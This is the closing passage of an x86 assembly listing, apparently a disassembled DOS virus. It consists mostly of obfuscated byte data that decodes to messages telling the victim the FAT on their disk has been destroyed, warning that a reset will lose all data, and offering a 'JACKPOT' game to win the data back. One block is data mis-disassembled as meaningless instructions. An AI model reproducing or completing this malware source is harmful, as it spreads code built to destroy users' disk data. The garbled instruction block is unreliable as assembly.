71h, 6Dh, 6Dh db 0ADh, 84h, 0CCh, 0C5h, 0DAh, 0C9h db 84h, 0CEh, 0D9h, 0D7h, 0D8h, 84h db 0A8h, 0A9h, 0B7h, 0B8h, 0B6h, 0B3h db 0BDh, 0A9h, 0A8h, 84h, 0D8h, 0CCh db 0C9h, 84h, 0AAh, 0A5h, 0B8h, 84h db 0D3h, 0D2h, 84h, 0DDh, 0D3h, 0D9h db 0D6h, 84h, 0A8h, 0CDh, 0D7h, 0CFh db 84h, 85h, 85h, 6Eh, 71h, 84h db 84h, 84h, 84h, 84h, 84h, 0ACh db 0D3h, 0DBh, 0C9h, 0DAh, 0C9h, 0D6h db 90h, 84h, 0ADh, 84h, 0CCh, 0C5h db 0DAh, 0C9h, 84h, 0C5h, 84h, 0C7h db 0D3h, 0D4h, 0DDh, 84h, 0CDh, 0D2h db 84h, 0B6h, 0A5h, 0B1h, 90h, 84h db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h db 0D1h, 84h, 0CBh, 0CDh, 0DAh, 0CDh db 0D2h, 0CBh, 84h, 0DDh, 0D3h, 0D9h db 84h, 0C5h, 84h, 0D0h, 0C5h, 0D7h db 0D8h, 84h, 0C7h, 0CCh, 0C5h, 0D2h db 0C7h, 0C9h, 6Eh, 71h, 6Dh, 6Dh db 6Dh, 0D8h, 0D3h, 84h, 0D6h, 0C9h db 0D7h, 0D8h, 0D3h, 0D6h, 0C9h, 84h db 0DDh, 0D3h, 0D9h, 0D6h, 84h, 0D4h db 0D6h, 0C9h, 0C7h, 0CDh, 0D3h, 0D9h db 0D7h, 84h, 0C8h, 0C5h, 0D8h, 0C5h db 92h, 6Eh, 71h, 84h, 84h, 84h db 84h, 84h, 0BBh, 0A5h, 0B6h, 0B2h db 0ADh, 0B2h, 0ABh, 9Eh, 84h, 0ADh db 0AAh, 84h, 0BDh, 0B3h, 0B9h, 84h db 0B6h, 0A9h, 0B7h, 0A9h, 0B8h, 84h db 0B2h, 0B3h, 0BBh, 90h, 84h, 0A5h db 0B0h, 0B0h, 84h, 0BDh, 0B3h, 0B9h db 0B6h, 84h, 0A8h, 0A5h, 0B8h, 0A5h db 84h, 0BBh, 0ADh, 0B0h, 0B0h, 84h db 0A6h, 0A9h, 84h, 0B0h, 0B3h, 0B7h db 0B8h, 84h, 91h, 84h, 0AAh, 0B3h db 0B6h, 0A9h, 0BAh, 0A9h, 0B6h, 84h db 85h, 85h, 6Eh, 71h, 6Dh, 6Dh db 84h, 84h, 84h, 0BDh, 0D3h, 0D9h db 0D6h, 84h, 0A8h, 0C5h, 0D8h, 0C5h db 84h, 0C8h, 0C9h, 0D4h, 0C9h, 0D2h db 0C8h, 0D7h, 84h, 0D3h, 0D2h, 84h db 0C5h, 84h, 0CBh, 0C5h, 0D1h, 0C9h db 84h, 0D3h, 0CAh, 84h, 0AEh, 0A5h db 0A7h, 0AFh, 0B4h, 0B3h, 0B8h, 71h db 6Eh, 71h, 6Eh, 6Dh, 6Dh, 84h db 84h, 84h, 84h, 84h, 84h, 0A7h db 0A5h, 0B7h, 0ADh, 0B2h, 0B3h, 84h db 0A8h, 0A9h, 84h, 0B1h, 0A5h, 0B0h db 0B8h, 0A9h, 84h, 0AEh, 0A5h, 0A7h db 0AFh, 0B4h, 0B3h, 0B8h db 'nqnqmmm-1' db 1Fh, 6Dh, 2Dh, 31h, 1Fh, 6Dh db 2Dh, 31h, 1Fh, 6Eh, 71h, 6Dh db 6Dh, 6Dh, 3Bh, 0, 3Bh, 6Dh db 3Bh, 0A3h, 3Bh, 6Dh, 3Bh, 0FFh db ';nqmmm,1 m,1 m,1 nqmmm' db 84h, 84h, 84h, 84h, 0A7h, 0B6h db 0A9h, 0A8h, 0ADh, 0B8h, 0B7h, 84h db 9Eh, 84h, 99h db 'nqqnqnmmm' db 0, 0, 0, 84h, 0A1h, 84h db 0BDh, 0D3h, 0D9h, 0D6h, 84h, 0A8h db 0CDh, 0D7h, 0CFh, 6Eh, 71h, 6Dh db 6Dh, 6Dh, 0A3h, 0A3h, 0A3h, 84h db 0A1h, 84h, 0B1h, 0DDh, 84h, 0B4h db 0CCh, 0D3h, 0D2h, 0C9h, 84h, 0B2h db 0D3h, 92h, 6Eh, 71h, 6Eh, 71h db 6Dh, 6Dh, 6Dh, 0A5h, 0B2h, 0BDh db 84h, 0AFh, 0A9h, 0BDh, 84h, 0B8h db 0B3h, 84h, 0B4h, 0B0h, 0A5h, 0BDh db 'qnqnqnqnqn' db 88h, 6Eh, 71h, 0A6h, 0A5h, 0B7h db 0B8h, 0A5h, 0B6h, 0A8h, 84h, 85h db 84h, 0BDh, 0D3h, 0D9h, 0C4h, 0D6h db 0C9h, 84h, 0D0h, 0D9h, 0C7h, 0CFh db 0DDh, 84h, 0D8h, 0CCh, 0CDh, 0D7h db 84h, 0D8h, 0CDh, 0D1h, 0C9h, 84h db 91h, 84h, 0C6h, 0D9h, 0D8h, 84h db 0CAh, 0D3h, 0D6h, 84h, 0DDh, 0D3h db 0D9h, 0D6h, 84h, 0D3h, 0DBh, 0D2h db 84h, 0D7h, 0C5h, 0CFh, 0C9h, 90h db 84h, 0D2h, 0D3h, 0DBh, 6Eh, 71h db 0B7h, 0BBh, 0ADh, 0B8h, 0A7h, 0ACh db 84h, 0B3h, 0AAh, 0AAh, 84h, 0BDh db 0B3h, 0B9h, 0B6h, 84h, 0A7h, 0B3h db 0B1h, 0B4h, 0B9h, 0B8h, 0A9h, 0B6h db 84h, 0A5h, 0B2h, 0A8h, 84h, 0A8h db 0B3h, 0B2h, 0C4h, 0B8h, 84h, 0B8h db 0B9h, 0B6h loc_42: mov dl,84h lodsw ; String [si] to ax mov ax,0B384h mov dl,84h mov ax,0B0ADh mov al,84h mov ax,0B1B3h mov bl,0B6h mov dh,0B3h mov bx,8584h test ax,ds:data_33e[di] ; (6AE6:716E=0) mov [bp+71h],ch mov dl,0D3h test ch,[bp+si-3827h] iret ; Interrupt return db 0CDh, 0D2h, 0C4h, 84h, 0A7h, 0CCh db 0C5h, 0D2h, 0C7h, 0C9h, 9Fh, 84h db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h db 0D1h, 84h, 0D4h, 0D9h, 0D2h, 0CDh db 0D7h, 0CCh, 0CDh, 0D2h, 0CBh, 84h db 0DDh, 0D3h, 0D9h, 84h, 0CAh, 0D3h db 0D6h, 84h, 0D8h, 0D6h, 0DDh, 0CDh db 0D2h, 0CBh, 84h, 0D8h, 0D3h, 84h db 0D8h, 0D6h, 0C5h, 0C7h, 0C9h, 84h db 0D1h, 0C9h, 84h, 0C8h, 0D3h, 0DBh db 0D2h, 84h, 85h, 88h, 6Eh, 71h db 0ACh, 0A5h, 84h, 0ACh, 0A5h, 84h db 85h, 85h, 84h, 0BDh, 0D3h, 0D9h db 84h, 0C5h, 0D7h, 0D7h, 0CCh, 0D3h db 0D0h, 0C9h, 90h, 84h, 0DDh, 0D3h db 0D9h, 0C4h, 0DAh, 0C9h, 84h, 0D0h db 0D3h, 0D7h, 0D8h, 9Eh, 84h, 0D7h db 0C5h, 0DDh, 84h, 0A6h, 0DDh, 0C9h db 84h, 0D8h, 0D3h, 84h, 0DDh, 0D3h db 0D9h, 0D6h, 84h, 0A6h, 0C5h, 0D0h db 0D0h, 0D7h, 84h, 92h, 92h, 92h db 6Eh, 71h, 88h, 0CDh, 20h, 0 seg_a ends end start